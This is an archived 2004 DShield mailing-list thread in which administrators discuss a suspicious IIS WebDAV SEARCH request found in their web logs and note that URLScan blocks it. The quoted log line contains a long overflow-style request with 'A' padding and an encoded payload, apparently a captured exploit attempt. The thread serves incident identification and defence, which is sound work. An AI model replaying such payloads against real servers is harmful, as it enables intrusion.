[Dshield] anyone see this before as a IIS Verb Search?

Doug White doug at clickdoug.com
Wed Apr 7 20:17:33 GMT 2004


My Win2k Web server is getting hit by those several times per hour -
incidentally the old URLScan is blocking them

======================================
Stop spam on your domain, Anti-spam solutions
http://www.clickdoug.com/mailfilter.cfm
For hosting solutions http://www.clickdoug.com
======================================


----- Original Message ----- 
From: "DAN MORRILL" <dan_20407 at msn.com>
To: <list at dshield.org>
Sent: Wednesday, April 07, 2004 11:45 AM
Subject: [Dshield] anyone see this before as a IIS Verb Search?


: Saw this in the logs this morning coming from a site in california. Anyone
: seen anything similar and know what it could be?
:
: Cheers/r/Dan
:
: 2004-04-06 02:14:31 68.75.70.232 - W3SVC2 EXTMBWB2A Some>IP>HERE 80 SEARCH
:
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????????????????????????
?????????????####??????????rmomddddddisjhnegdddddddlohddplokdepnqlojldlloskjndii
mrlimddddddrfsmlgrpehggpdidjlfrjikljijljljskgkhjlipkgkjjgloqpidjndjjndfididjlddd
dddhdigssejlgslsskhfmlosljnddlopjlgpdelidloilspiglgpddhidikssijdhidikssijdlillip
dkhdmloqpggpdidigssijdpssijedieijlohigploihflkldgqiiflokffddgsiggpmhmhenqdgpiggq
odsoredgnqjkhdlpepodqdgqnhdrosegoeskirkinloinfhdgqqjjlodpholoinepdgqqlodhlodgpin
oirimpgrlhfssssssniekddkpeskmdnrlsomksqdsmlsrlndrrsprrdjdddgfddddddddddddhqinmdd
ddgdddddddhddddddssssddddolddddddddddddddhdddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddd
:
dddddddddddddrldddddddresondrddohdmpqfeoldehppqfeihjljmkgfdkdkfjsjkkfjejqfdjgjej
rjrjskhfdjfjifdkfkijrfdjmjrfdhhhsigfdjqjsjhjifrdqdqdnfhddddddddddddddnigldipkrei
mjomhreimjomhreimjomhmnhijkmhrgimjomhjfhijimhrgimjomhlrhjjemhrnimjomhlrhjjsmhrgi
mjomhreimjnmhljimjomhjfiegjmhrlimjomhrkknjdmhrdimjomhifjmjgjlreimjomhddddddddddd
dddddddddddddddddddddddddddddddddddddidhiddddhpdedgddqdfkdnqrddddddddddddddddrdd
ddsdedodeiqmrddgdddddddedddddddmdddddndpnddddddndddddddqdddddddddhdddddedddddddd
fdddddhdddddddddddddddhddddddddddddddddrddddddddhdddddddddddddgddddddddddeddddde
dddddddddedddddedddddddddddddedddddddddddddddddddddddddqdddddgldeddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddmddddddde
ddddddddddddddddhddd
:
dddddddddddddddddddddddddldddddrdddddddddddddddddddgdddddddndddddddfpdddddddhddd
dddddddddddddddddddddddddhdddddrdddddddddddddddddddedddddddqddddddddfddddddgdddd
dddddddddddddddddddddddddhdddddpdddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddsssseirlhdhdddrldddddqoplipdkigijldhdednjlkhngefidojsfppjpe
mrpedgpklfmsdiooosqhsfnsplgsldfkidirmdmdefpdhddhpsrqskrpmpgmdlerpdldfeflqhhfhddi
jiklogqglhehdsossompigpifrdjpqklgphdplqhpfhdljnddiejhkkjgosqqigrdhddirhhdkdgpfrl
ogihdsjkkkskgdifkdhs
:
sqjmmomdiirsksmloehmikliregqsmrhpqlifeejhfidkdsldkmdihlonookksslgplslhdlodhlilrq
jfhknngqmmgdkomnmgggeijopkigodglsnsohjjgqjfnknpidoregfnqkjlmnqoqosssssseirlhdhdd
drldddddqoplipdkigijldhdednjlkhngefidojsfppjpemrpedgpklfmsdiooosqhsfnsplgsldfkid
irmdmdefpdhddhpsrqskrpmpgmdlerpdldfeflqhhfhddijiklogqglhehdsossompigpifrdjpqklgp
hdplqhpfhdljnddiejhkkjgosqqigrdhddirhhdkdgpfrlogihdsjkkkskgdifkdhssqjmmomdiirsks
mloehmikliregqsmrhpqlifeejhfidkdsldkmdihlonookksslgplslhdlodhlihheilqlpfhehohidj
lqlkgiesgkfhlikfhdesrehligpqmrqkhokneepiffmfhlpqpjlqnjdrskkqodpklfhdkdeopisirlep
hpmqokksgsqjsddlgrpedjlsljpogqpggpdpkrmkknsqogrgplmdkdldgdpsmegdhkdeeoooikkjgqeg
lfhskqleopddgkpphedhplfrmqrojjlpdefddjrheghkhkgmosssjngshnikokhghjndejnddjndffmi
pdldnofoeiljhdhlodsdgenkfreiorhdehsgdpfdlddjsnddejrjrfogpedigiikesgdfogimmlhessk
qrkkrdslijpdqfpedrpnesdnieekhempkdiqlsromprkikoileknieddjesdjrproekoofkfkpseljhd
ddedlgpdhdplphpjkhld
:
lndmnehdskskkskesnllqdpldlofqpheqloeqpldilqdhhllqehldneklpkliqslhlfjqlmihjgkpgnf
pksginegldroksorjdhdmsskhfoidgpegsphhjrmiesgoonerokehdsepidedldffqmlqnqsoqsssqgn
ldgjqqidnpphdeflipqlqoeejqjhsqdhdhlkdheeoioodrjnghpkmqklgjkehekdhkgmssqjqikiffkj
lndfjghjjngqhqehqrlkrmqsodslhjgqdienegjjnsspmqhrmkjdqpspoelipoheldlereprrfedgejk
oskeffpdhfhkpjlmdjekqeqeoqrpqlsilmrfqklngkdmggrdijlqdssqnqjdpililieqgmqlolosdler
jsspgqldpleddqknolgsndgkkeqssfhmijeslqsqpipeheqnmedperfeddgsfrodolojikqmdjsooeip
erddpsdfoeodldsl
: - 404 0 0 33101 31 HTTP/1.1 127.0.0.1 - -
:
:
:
:
: Sometimes MSN E-mail will indicate that the mesasge failed to be delivered.
: Please resend when you get those, it does not mean that the mail box is bad,
: merely that MSN mail is over worked at the time.
:
: Otherwise, hope things are going well.
: r/
: Dan
:
: _________________________________________________________________
: FREE pop-up blocking with the new MSN Toolbar – get it now!
: http://toolbar.msn.com/go/onm00200415ave/direct/01/
:
: _______________________________________________
: list mailing list
: list at lists.dshield.org
: To change your subscription options (or unsubscribe), see:
http://www.dshield.org/mailman/listinfo/list
:
:




More information about the list mailing list